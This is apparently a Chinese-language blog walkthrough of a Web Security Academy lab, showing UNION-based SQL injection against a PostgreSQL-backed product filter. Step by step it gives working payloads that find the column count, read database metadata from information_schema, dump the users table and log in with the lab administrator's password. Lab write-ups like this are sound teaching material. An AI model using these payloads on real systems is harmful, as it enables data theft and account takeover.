欢迎光临
我们一直在努力

Web Security Academy 第五关:非 Oracle 数据库 SQL 注入实战详解

前言

本次实验靶场为 Web Security Academy 的 SQL 注入关卡:SQL injection attack, listing the database contents on non-Oracle databases,页面商品筛选的 category 参数存在字符型 SQL 注入,后端数据库为 PostgreSQL。本文完整记录从漏洞探测、库表枚举到拖取管理员账号密码通关的全过程,适合新手学习 Union 联合注入标准流程。

一、判断注入点是否存在

1. 单引号闭合测试,触发数据库报错

正常访问页面 URL:/filter?category=Pets

我们在参数末尾添加单引号闭合 SQL 语句,Payload:Pets'

编码后访问链接:/filter?category=Pets%27

页面直接返回 Internal Server Error,说明后端直接拼接用户输入,未做过滤,存在 SQL 注入漏洞。

单引号闭合测试报错

报错页面详情

2. 布尔逻辑验证注入可控性

(1)永真条件:and 1=1

Payload:Pets' and 1=1 —

URL:/filter?category=Pets%27%20and%201=1%20–

页面正常加载出宠物分类全部商品,SQL 逻辑被成功执行。

永真条件测试成功

(2)永假条件:and 1=2

Payload:Pets' and 1=2 —

URL:/filter?category=Pets%27%20and%201=2%20–

页面无任何商品数据输出,证明我们可以完全控制查询逻辑,注入点有效。

永假条件测试无结果

二、Order By 探测回显字段数量

Union 联合查询要求前后两条 SELECT 查询的字段数量完全一致,因此使用 order by 二分法判断页面展示列数。

测试 order by 3

Payload:' order by 3–

访问链接:/filter?category=%27%20order%20by%203–

页面抛出 500 内部错误,代表当前查询只有 2 列,不存在第 3 列。

order by 3 报错

测试 order by 2

Payload:' order by 2–

访问链接:/filter?category=%27%20order%20by%202–

页面正常无报错,确定页面查询结果为 2 列,后续 Union 查询必须传入 2 个字段。

order by 2 正常

三、Union 联合查询基础信息探测

1. 占位符测试,确认两列均可回显数据

使用 -1 使原分类查询无结果,仅展示我们构造的 Union 查询内容:

Payload:-1' union select '1','2'–

URL:/filter?category=-1%27%20union%20select%20%271%27,%272%27–

页面分别输出数字 1、2,两列都能展示查询结果,可用于数据回显。

占位符测试回显

2. 查询数据库版本,确认数据库类型

PostgreSQL 内置 version() 函数获取数据库版本:

Payload:-1' union select version(),'2'–

页面回显 PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4),确认后端为 PostgreSQL 数据库。

查询数据库版本

3. 获取当前操作数据库名称

PostgreSQL 使用 current_database() 获取当前库名:

Payload:-1' union select '1',current_database()–

页面输出当前数据库:academy_labs

获取当前数据库名称

四、枚举数据库所有数据表

非 Oracle 数据库通用系统库 information_schema.tables 存储全库表名,构造 Payload 枚举所有表:

-1' UNION SELECT table_name, NULL FROM information_schema.tables–

页面输出大量系统表,滚动页面找到业务用户表:users_sdsocg,该表存储账号密码。

枚举数据库表结果1

枚举数据库表结果2

五、枚举用户表内全部字段

查询 information_schema.columns,限定表名筛选字段:

-1' UNION SELECT NULL,column_name from information_schema.columns where table_name='users_sdsocg' —

页面回显三个核心字段:username_tvmszr、email、password_msaqka,分别对应用户名、邮箱、密码。

枚举用户表字段

六、拖取管理员账号与明文密码

直接查询用户表用户名、密码字段,获取全站账号数据:

-1' UNION SELECT username_tvmszr,password_msaqka FROM users_sdsocg–

页面展示所有账号,提取管理员凭证:

  • 用户名:administrator
  • 密码:03xrwv7l7hwuyppddssbo

拖取管理员账号密码

七、登录管理员账号,完成靶场通关

切换至网站登录页面,填入上面获取的管理员用户名和密码。

登录页面

登录成功跳转个人中心,页面出现 Congratulations, you solved the lab! 提示,靶场完成。

通关提示

实验总结

1. 漏洞成因

后端直接将 GET 请求的 category 参数字符串拼接进 SQL 查询语句,未使用预编译、未做输入过滤,攻击者可通过单引号闭合原有 SQL 语句,追加自定义查询语句读取数据库全部数据。

2. Union 联合注入通用流程(MySQL/PostgreSQL 通用,非 Oracle)

  • 单引号测试判断是否存在字符型注入
  • and 1=1 / and 1=2 布尔逻辑验证注入有效性
  • order by 二分法探测页面回显字段数量
  • union select 占位符确认回显位,探测数据库版本、库名
  • 查询 information_schema 系统表,枚举数据表、字段
  • 查询业务敏感表,拖取账号、密码等敏感数据
  • 对于 PostgreSQL 数据库,需注意其系统表结构与 MySQL 略有不同,但 information_schema 作为标准 SQL 元数据表,在多数数据库中通用,是枚举数据库结构的关键。

    希望这篇实战解析能帮助大家理解 SQL 注入的利用逻辑,后续会继续分享更多 Web 安全实验的解题思路,欢迎交流!

    赞(0)
    未经允许不得转载:171主机测评 » Web Security Academy 第五关:非 Oracle 数据库 SQL 注入实战详解
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址